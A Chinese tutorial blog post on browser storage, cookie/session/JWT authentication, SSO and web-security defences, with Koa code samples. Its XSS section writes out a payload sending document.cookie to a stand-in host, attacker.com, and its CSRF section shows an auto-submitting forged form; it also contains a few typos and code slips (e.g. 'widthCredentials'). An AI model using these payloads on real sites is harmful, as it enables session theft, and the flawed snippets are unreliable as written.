对于存储、安全和登录流程的一些理解、代码实现

目录解读
在本文中,你将学习到关于存储方面的知识、身份认证的不同方法、登录流程,以及各种安全漏洞的出现和解决。会给出示例代码。

存储

我们需要先简单了解以下知识!

浏览器存储:cookie、Localstorage、sessionstorage、indexDB

cookie: 存储大小一般不超过4k,是一种浏览器端存储方式,可以设置过期时间,可以被服务端读取

  • 适用于存储需要发送给服务端的数据,如登录凭证、用户偏好等
document.cookie = "name=value; expires=Wed, 21 Oct 2026 07:28:00 GMT; path=/";

Localstorage: 存储大小一般不超过5MB

localStorage.setItem("name", "value");
const nameValue = localStorage.getItem("name");
localStorage.removeItem("name");

sessionstorage: 存储大小一般不超过5MB,会话关闭即被清除(关闭页面)

  • 适用于存储一些临时数据,如表单数据、页面状态等
sessionStorage.setItem("name", "value");
const nameValue = sessionStorage.getItem("name");
sessionStorage.removeItem("name");

indexDB:存储大小一般不超过50MB,可以存储大量的结构化数据,并提供了强大的查询和索引功能。读写异步, 不会造成浏览器阻塞

IndexedDB – Web API 接口参考 | MDN (mozilla.org)

使用:

// 打开或创建名为myDatabase的数据库
const request = indexedDB.open('myDatabase', 1);
// 如果数据库不存在,则创建一个新的对象存储器
request.onupgradeneeded = (event) => {
  const db = event.target.result;
  const objectStore = db.createObjectStore('myObjectStore', { keyPath: 'id' });
};

// 添加数据到对象存储器
request.onsuccess = (event) => {
  const db = event.target.result;
  const transaction = db.transaction(['myObjectStore'], 'readwrite');
  const objectStore = transaction.objectStore('myObjectStore');
  const data = [
    { id: 1, name: 'John' },
    { id: 2, name: 'Jane' }
  ];
  data.forEach((item) => {
    objectStore.add(item);
  });
};
// 处理错误
request.onerror = (event) => {
  console.log('Error', event.target.errorCode);
};

服务端存储:

session: session是一种在服务器端存储数据的机制。

开始进入正文学习:

为什么需要验证身份?

http是无状态协议,这意味着它对事物处理没有记忆能力,不会主动去保存会话信息。因此,服务端需要主动去维护一个状态进行会话跟踪,验证客户端的身份

验证身份不同方法

cookie、session、token

cookie

Cookie 是一种用于在 Web 浏览器和 Web 服务器之间传递信息的小文件。

对于存储、安全和登录流程的一些理解、代码实现

服务端可以通过给客户端设置cookie(包含状态信息)(客户端会自动保存,pc端发起同域请求会自动携带该cookie)。

服务端可以通过不同方法保存该cookie,如redis、session等,验证时直接对比比较即可验证用户身份。

例:简单实例,我可以直接使用Map来缓存内容(会带来性能问题,占用服务端资源,一般使用session和redis)

const Koa = require('koa');
const cookieParser = require('cookie-parser'); // 解析cookie,因为cookie是以字符串存储

const app = new Koa();
const map = new Map();
app.use(cookieParser());

app.use((ctx, next) => {
  const cookies = ctx.cookies;
  next();
});

app.get('/', (ctx) => {
    if(map.get(cookies.name) !== 'ikun') return ctx.body = '没有登录';
    return ctx.body = '登录成功';
})

cookie跨域配置

什么是顶级域名和子域名?

顶级域名通常是指域名的最高级别,例如 “.com”、”.org”、”.net” 等,是由国际互联网名称与数字地址分配机构(ICANN)管理的。子域名是指在顶级域名下创建的子级域名

举例:假设一个网站是 www.lhylhy.com

  • 顶级域名 .com
  • 一级域名 lhylhylhy.com
  • 二级域名 www.lhylhylhy.com

有了高级域名证书,可以用ngnix代理一下子域名即可访问到页面。

浏览器设置cookie

一般来说,浏览器cookie若不设置domain,则该 cookie 的 domain 将默认为当前页面的 domain,不同域名无法共享cookie(当前域名和其子域名可以访问)

不同的子域名之间共享Cookie:

// 在 www.lhylhylhy.com 上设置名为 "mycookie" 的 Cookie
document.cookie = "mycookie=hello; domain=lhylhylhy.com";

// // 在 api.lhylhylhy.com 上读取名为 "mycookie" 的 Cookie
console.log(document.cookie); // 输出 "mycookie=hello"

从上面可以看出,在同一个顶级域名下,不同的子域名之间是可以共享Cookie的。当然,如果要在不同的顶级域名之间共享Cookie,则需要将 domain 属性设置为它们的共同顶级域名。

服务端设置cookie

koa和原生

// 同理
(async (ctx, next) => {
    ctx.cookies.set('mycookie', 'hello', {
      domain: 'hyhyhy.com'
    });
})

// 原生实现设置Cookie 
((req, res) => { // req代表请求,res代表返回信息
    res.setHeader('Set-Cookie', 'name=value; Path=/; HttpOnly');
})

请求携带cookie

fetch默认情况下,发起http请求都不会携带cookie

fetch('lhylhylhy.com', {
    credentials: "include", // include(跨域携带cookie), sme-orgin(同域携带cookie), mit(任何情况都不带cookie)
    ...
})

axios默认情况下,发起同域http请求会携带cookie(pc端)

axios.get('lhylhylhy.com', {
    widthCredentials: true, // true(跨域携带), false(默认,仅同域携带cookie)
    ...
})

一般来说,为了安全,cookie应该设置当前域名访问,且避免跨域携带。

cookie安全漏洞

cookie为什么容易收到xss攻击

cookie一般作为会话状态管理,保存着一些隐私数据(用户id…),或者作为用户的登录凭证,被攻击者获取到后,利用这些信息即可冒充进行各种恶意操作,如修改用户信息、窃取用户隐私、进行钓鱼攻击等。

相信很多人跟我一样,老是看着浏览器安全的一堆定义,但是不知道到底是怎么攻击的,也记不住。且听我分析:
对于存储、安全和登录流程的一些理解、代码实现

xss攻击:

xss,跨站脚本攻击,顾名思义,也就是攻击者通过一些手段往网页中注入恶意代码,来获取想要的信息:如cookie等

例如之前文章同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞? – 掘金 (juejin.cn)讲的jsonp机制,就容易拿来进行xss攻击

假设存在一个获取数据的jsonp的API,攻击者可以利用这个 API,构造一个恶意的 URL(攻击者可能会通过网络漏洞将这段恶意url注入到目标网站中):

https://example.com/getData?callback=<script>var%20img%20=%20new%20Image();img.src%20=%20%22http://attacker.com/steal_cookie?cookie=%22%20+%20document.cookie;</script>

当浏览器执行这个 URL,会返回如下的 JSONP 格式的代码:

<script>var img = new Image();img.src = "http://attacker.com/steal_cookie?cookie=" + document.cookie;</script>

由于这个代码被执行了,其中的 document.cookie 就会被发送到攻击者的服务器上,从而实现了 XSS 攻击。

我们可以通过服务端设置 httpOnly: true ,防止客户端通过 document.cookie 访问cookie

设置了httpOnly一定安全吗?

虽然攻击者无法通过 JavaScript 访问 HttpOnly 标记的 Cookie,但是攻击者可以通过伪造表单、注入恶意代码等方式,将用户重定向到一个恶意网站,并以此来窃取 HttpOnly Cookie 的值。这种攻击方式被称为 “XSS + CSRF” 攻击。

CSRF攻击:

CSRF,跨站伪造攻击,本质上利用了cookie会在同源请求中携带发送给服务器的特点,以此实现用户冒充。

举个例子:

攻击者在另一个域名下创建一个钓鱼网站,将该网站伪装成受害者经常访问的网站,并诱使受害者点击某个链接或按钮。当受害者在钓鱼网站上点击链接或按钮时,将触发对受害者在另一个域名下的 cookie 的攻击。

<!-- 钓鱼网站的 HTML 代码 -->
<form method="POST" action="http://victim.com/api/delete">
  <input type="hidden" name="id" value="123">
</form>
<script>
  // 自动提交表单
  document.forms[0].submit();
</script>

其实有很多网站啊(包括黄色~~ ),老是出现提交表单的信息,这时已经完成了csrf攻击了~

为了防止CSRF攻击,我们可以:

  1. 验证码:在需要用户提交数据时,要求用户先输入验证码,这样可以防止攻击者自动化提交数据。
  2. Token:以token作为登录凭证(后面会讲)
  3. SameSite Cookie:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,限制 Cookie 只能在同站点请求时携带,从而避免跨站请求利用。
/*
-   `Strict`:只有在同一站点请求的情况下才会发送 cookie。
-   `Lax`:在大多数情况下只有在同一站点请求的情况下才会发送 cookie,但是导航到目标网页的 Get 请求(例如从外部链接打开的页面)将会携带 cookie。
-   `None`:总是会发送 cookie,即使是跨站点请求。
*/
ctx.cookies.set('myxcookie', 'hello', { sameSite: 'Lax' });
  1. 使用 HTTPS:使用 HTTPS 可以防止网络上的中间人攻击,从而保证请求和响应的安全性。详看我之前文章对http、https和代理的一些dj理解 – 掘金 (juejin.cn)
  2. 使用 Content-Security-Policy(CSP) 进行白名单认证(可以有效防止xss攻击)
app.use(async (ctx, next) => {
    ctx.set('Content-Security-Policy', "default-src 'self'");
    await next();
});
// 使用 `ctx.set` 方法设置 CSP 头信息,指定只允许加载来自当前域名的资源。可以根据需要添加其他选项,例如限制加载图片和脚本的来源,禁止使用内联脚本等等。

因此,为了防止 XSS、CSRF等 攻击,不仅需要在服务器端对用户输入进行过滤和验证,同时还需要加强网站的安全性,包括使用 HTTPS 协议、限制域名、使用 Content-Security-Policy 等措施,以提高网站的安全性。

所以说,只用cookie来实现登录认证是不安全的。

session

session是另一种记录服务端和客户端会话状态的机制,session存储于服务端,存储容量大,但是会占用服务器资源。

可以基于cookie实现(大部分方法),也可以基于其他存储实现

session存储于服务端,sessionid存储于客户端中

流程:

  • 客户创建账号,发起请求,服务端根据用户提交的信息,创建对应的session
  • 服务器请求返回此session的唯一标识信息sessionid(一般存在浏览器的cookie上)
  • 再次请求该服务器的时候,服务端获取到客户端发送的sessionid并查找对应的session信息,如果没有则用户无登录且登录失效。

这里我使用cookie和session结合方式进行登录认证

const Koa = require('koa');
const router = require('koa-router')();
const app = new Koa();
// cookie和session
const koaSession = require('koa-generic-session');
const session = koaSession({
    key: 'sessionid',
    maxAge: 1000, /** (number) maxAge in ms (default is 1 days),cookie的过期时间 */
  	overwrite: true, /** (boolean) can overwrite or not (default true) */
  	httpOnly: true, /** cookie是否只有服务器端可以访问 (boolean) httpOnly or not (default true) */
  	signed: true /** 加密? */
}, app)
// 加盐操作:在密码学中,是指通过在密码任意固定位置插入特定的字符串,让散列后的结果和使用原始密码的散列结果不相符,这种过程称之为“加盐”。
app.keys = ['hyhyhy', 'HYHYHY'] // 数组形式

router.get('/text/login', function (ctx, next) {
    // 在服务器为登录的客户端,设置一个加密的cookie (服务器自动为浏览器保存一个cookie,每次请求都会带上cookie)
    ctx.session.name = 'ikun'
    ctx.body = '登录成功~'
})
router.get('/text/list', function (ctx, next) {
    const value = ctx.session.name
    if(value === 'ikun') ctx.body = 'userList~'
    ctx.body = '没有权限,先登录'
})

app.use(session) // 存入中间件

app.use(router.routes());
app.use(router.allowedMethods());
app.listen(7788,()=>{console.log('starting at port 7788');});

对于存储、安全和登录流程的一些理解、代码实现

补充:

  • 上图可以发现:直接在浏览器通过url访问(客户端没有执行其他操作),服务端自动设置了cookie(pc端),在下一次请求会自动携带该cookie
  • 使用了加盐模式,会出现两个对应的 sessionidsessionid.sig,黑客需要同时破解才可以伪造信息

cookie和session缺点

cookie会被附加在每一个 HTTP 请求中,无形增加了流量(某些请求不需要)

cookie是明文传递的,存在安全性问题,容易被窃取

cookie的大小限制是 4kb,对于复杂需求是不够的

对于pc端浏览器可以自动保存,但是对于移动端需要自己手动设置cookie和session

对于分布式系统和服务器集群中,不同系统正确解析session的困难性

  • 因为session一般是存储于单个节点上,也就是存储于单个服务器的内存中,
  • 对于使用了负载均衡的分布式服务器集群来说,会访问多个节点,session不能很好的共享使用

还有,难免有些奇奇怪怪的面试官问:cookie和session的区别,据我了解还挺多的
对于存储、安全和登录流程的一些理解、代码实现

首先:cookie是一个http头部,而session只是一个虚拟概念,两者不应该拿来做比较。

单纯拿session来说,是一个会话状态的维护,可以基于cookie实现也可以不,而且cookie的用法也远远大于session

再者,cookie存储于客户端,session存储于服务端,虽然说基于session生成的sessionid一般存储于cookie上,但是也可以不。

session可以存储很高的容量(占用服务器资源),cookie只能存储4kb以下

token

相对于使用 session 和 cookie,使用 token 可以减轻服务器存储和管理 session 的压力,因为 token 是无状态的,不需要在服务器端保存任何数据,只需要在客户端存储即可。这样可以提高服务器的性能和可伸缩性。此外,使用 token 还可以方便地支持跨域访问和微服务架构。

另外token可以防止csrf攻击(前面说了,csrf本质上利用了cookie会在同源请求中携带发送给服务器的特点),因为token不需要借助cookie进行存储,一般存在于localstorge和sessionstorge上。但是如果token被窃取,别人就可以通过该令牌干坏事,所以对于一些隐私的操作需要客户端进行二次认证

使用 token (令牌)验证身份

  • 验证用户账号密码正确情况,给用户颁发一个令牌(可以作为后续用户访问接口的有效凭证)
  • 登录生成颁发token,访问某些接口验证token

目前市面上常用的token实现就有 (JWT),我们这里详细介绍一下 JWT。

JWT 实现 token 机制

举例:

一个示例JWT的完整格式如下:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

每一部分由 . 分割

其中:Header部分(base64编码):

如图:我们用 window 自带 atob api解base64,得到该Header:
对于存储、安全和登录流程的一些理解、代码实现

Payload部分(base64编码):

对于存储、安全和登录流程的一些理解、代码实现

Signature部分:

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

即由三部分组成

  • header

    • alg:采用的加密算法,默认是 HMAC SHA256(HS256),采用一个密钥进行加密和解密(对称加密)
    • typ:JWT(JSON Web Token),固定值,写 JWT 即可
    • 会通过base64算法进行编码
  • payload

    • 携带的数据,比如我们可以将用户的id和name放到payload中
    • 默认也会携带 iat(issued at),令牌签发时间
    • 设置过期时间 exp(expiration time)
    • 会通过base64 算法进行编码
  • signature

    • 设置一个 secretKey,通过将前两个结果合并后进行 HMAC SHA256的算法

base54Url ( header ) + . + base64Url ( payload ), signature

对于对称加密(secretkey不可暴露,暴露就可以模拟颁发token,也可以解密token)

如果用对称加密有安全性问题:对于分布式系统或者服务器集群,如果黑客攻击某一个子系统获得了 secretkey 值,而且不同系统用的是同一套加密算法(对称加密),则可以通过伪造系统给用户颁发 token。

选择用非对称加密:

对于存储、安全和登录流程的一些理解、代码实现

  • 用非对称加密(RS256):

    • 私钥:private_key发布令牌
    • 公钥:public_key验证令牌
    • 公钥和私钥一般都是直接通过命令生成的
  • 父系统用 私钥 颁发token(父系统有充足安全措施,不怕被黑客攻击),子系统用 公钥 验证(黑客攻击获得公钥,无法伪造颁发token)

    • 在 linux 或者 Max 系统可以直接打开终端
    • 在 windows 系统需要用 git bash 打开openssl
  • 使用(windows 系统):

    • 新建 keys 文件夹,用git bash 打开输入:
    openssl
    # 会进入 OpenSSL>
    ​
    genrsa -out private.key 2048
    # 生成秘钥(.key结尾) 大小2048
    # secretOrPrivateKey has a minimum key size of 2048 bits for RS256
    ​
    rsa -in private.key -pubout -out public.key
    # 生成公钥
    

对于存储、安全和登录流程的一些理解、代码实现

简单实现:

注: 在JWT中使用私钥签名和公钥认证的方式是为了保证JWT的安全性和真实性,而HTTPS中使用公钥加密的方式是为了保证数据的机密性。两者的目的和应用场景不同。

// token非对称加密
const fs = require('fs') // './' 返回你执行node命令的路径
const path = require('path')
// __dirname总是指向被执行js文件的绝对路径,在/d1/d2/1.js文件中写了__dirname,它的值就是/d1/d2
const privateKey = fs.readFileSync(path.resolve(__dirname,'keys/private.key')); // 同步读取
const publicKey = fs.readFileSync(path.resolve(__dirname,'keys/public.key')); // 读取到的是一个buffer二进制流

router.get('/text3/login', function (ctx, next) {
  const payload = {id: 111, name: 'lhy'}
  const token = jwt.sign(payload, privateKey, { // token接受buffer二进制流
      expiresIn: 60,
      algorithm: 'RS256' // 默认是HA256对称加密,需要改为非对称加密
  })
  ctx.body = {
      code: 0, token, message: '登陆成功'
  }
})
router.get('/text3/list', function (ctx, next) {
const authorization = ctx.headers.authorization
  const token = authorization.replace('Bearer', '')
  try { // 如果验证token不合法,则会抛出错误
      const result = jwt.verify(token, publicKey, {
        algorithm: ['RS256'] // 传入数组,解密失败用下一种算法解密
      }) // 用公钥验证
      ctx.body = {code: 200, data: [1,2,3]}
  } catch(e) {
      ctx.body = {code: 401, message: '无效token'}
  }
})

token总结

token具有可跨域携带,无状态,安全性,简单易用的优点,但是它同时存在以下缺点

  1. 无法撤销:一旦JWT被签发,就无法撤销,除非等到它过期。如果JWT被盗用或泄露,攻击者可以使用它来访问受保护的资源,这是一种安全风险。
  2. 安全性依赖于密钥的安全性:JWT的安全性依赖于密钥的安全性,如果密钥被泄露,攻击者可以使用它来伪造JWT,从而访问受保护的资源。
  3. 无法处理会话超时:JWT本身不支持会话超时,因此需要在客户端或服务器端进行相应的处理。

sso

前面讲的很多,学懂了的话,这里很简单!!

对于存储、安全和登录流程的一些理解、代码实现
基于cookie实现sso

这里的实现是基于cookie可以跨域携带,也就是设置cookie的domain为共同顶级域

  1. 用户访问系统A,系统A判断用户是否已经登录,如果没有,则跳转到登录页面。
  2. 用户输入用户名和密码进行登录,系统A验证用户身份,如果验证通过,则生成一个包含用户身份信息的cookie,并设置cookie的域名为SSO域名,然后将该cookie返回给用户。
  3. 用户访问系统B,系统B判断用户是否已经登录。如果没有,则跳转到SSO认证页面。
  4. 用户在SSO认证页面上输入用户名和密码进行登录,SSO认证系统验证用户身份,如果验证通过,则生成一个包含用户身份信息的cookie,并设置cookie的域名为SSO域名,然后将该cookie返回给用户。
  5. 用户再次访问系统B,系统B检查SSO域名下是否存在包含用户身份信息的cookie。如果存在,则使用该cookie中的用户身份信息进行认证。

需要注意的是,SSO系统需要保证cookie的安全性,以免被黑客窃取。同时,系统间的跳转需要进行安全验证,以避免跨站点脚本(XSS)和跨站点请求伪造(CSRF)攻击。

也可以基于token实现,不过要用到其他技术,如OAuth2,openid connect等,这里不多介绍

OAuth2协议

OAuth2 是一种用于授权的开放标准,用于允许应用程序访问用户在第三方服务上的资源,而无需共享用户的凭据。也是市面上主流的认证方式,例如:Google、Facebook、Github等。

没试过,不过有点了解,害怕说错了,就不多描述了

对于存储、安全和登录流程的一些理解、代码实现

总结

问:对cookie、session、token的理解?

都可以作为跟踪会话状态的手段

  • cookie是存储于客户端的小型文本文件,存储大小4kb以下,值以字符串形式存储
  • Session是基于服务器端存储的数据结构实现的,存储大小不受限制,不过会占用服务器资源,是一种虚拟概念。Session存储可以是一个关系型数据库,也可以是一个内存数据库或缓存系统
  • token是一种用于身份验证的字符串,具有无状态的特点,不需要在服务器端保存任何数据。token是以base64编码生成的,默认不加密,尽量不能将隐私信息存于token中,或对token进行加密

access token 和 refresh token?

Access Token是用于访问受保护资源的令牌,通常具有较短的有效期,一般为几分钟到几小时不等。

Refresh Token是用于获取新的Access Token的令牌,通常具有较长的有效期,一般为几天到几个月不等。

只能通过 access token 当访问资源的令牌,减少 access token 被窃取带来的损失,因为 access token 有效期较短。不过 refresh token 必须安全加密保存,不然可以通过其生成令牌。

问:登录流程?

基于token的jwt实现:

  1. 用户使用用户名和密码向服务器发送登录请求。

  2. 服务器验证用户身份,并生成JWT。

  3. 服务器将JWT发送给客户端。

  4. 客户端将JWT存储在本地,通常是在浏览器的localStorage或sessionStorage中。

  5. 客户端在每次向服务器发送请求时,都将JWT作为Authorization头部的Bearer令牌发送给服务器。

  6. 服务器验证JWT的真实性,并根据其中的用户信息进行相应的操作。

  7. 如果JWT过期或被篡改,服务器将拒绝请求,并要求客户端重新登录。

session在服务器关闭还存在吗

会话(session)是在服务器端维护的状态,因此会话数据存储在服务器上。如果服务器关闭,会话数据将会丢失。

需要将会话数据持久化到存储介质中(如数据库、文件系统等)。这样即使服务器关闭,会话数据仍然存在于持久化存储中,并且在服务器重新启动后可以重新加载到内存中。

比如将session存储于mysql数据库,代码如下,在下次服务器启动后可以直接从数据库中获取session。

const Koa = require('koa');
const session = require('koa-session');
const MySQLStore = require('koa-mysql-session');
const app = new Koa();
// 配置session中间件
app.keys = ['hyhyhy'];
app.use(session({
  store: new MySQLStore({
    user: 'lhylhylhy',
    password: 'xxx',
    database: 'xxx'
  })
}, app));

不过使用数据库存储session可能会影响应用程序性能,因为每个请求都需要从数据库中读取和写入session数据。因此,在高并发场景下,应该使用其他方案来存储session,如缓存或内存存储。

问:session 用于集群的共享方案?

在集群中,多个计算机可以组成一个逻辑上的单个计算机,共享状态和资源,从而提高系统的可靠性和性能。比如,一个购物商场系统可以拆分为一个订单系统,支付系统,购物系统…,由多台服务器组成一个系统,这个时候就需要多台服务器中的session数据共享了。

需要一种中心化的存储方案来保存session数据。如数据库、分布式缓存系统、共享文件系统等,

目前主流的方法应该是通过redis共享session,将session数据存储在Redis中,每个服务器都可以访问Redis中的session数据,从而实现session共享。

也可以使用粘性会话:这是一种策略,将一个用户的所有请求路由到同一台服务器,从而保持会话状态的一致性。这可以通过将每个会话与一个特定的服务器ID相关联来实现。在该用户的后续请求中,负载均衡器可以使用该ID将其路由到与其相关的服务器。

session多台服务器的共享方案 (bbsmax.com)

就这样吧!完结撒花

对于存储、安全和登录流程的一些理解、代码实现

只有登上山顶,才能看到那边的风光。
对于存储、安全和登录流程的一些理解、代码实现

祝大家拿到满意的offer!!

原文链接:https://juejin.cn/post/7213268803102294076 作者:lhylhylhy

(0)
上一篇 2023年3月24日 上午11:05
下一篇 2023年3月24日 上午11:16

相关推荐

发表回复

登录后才能评论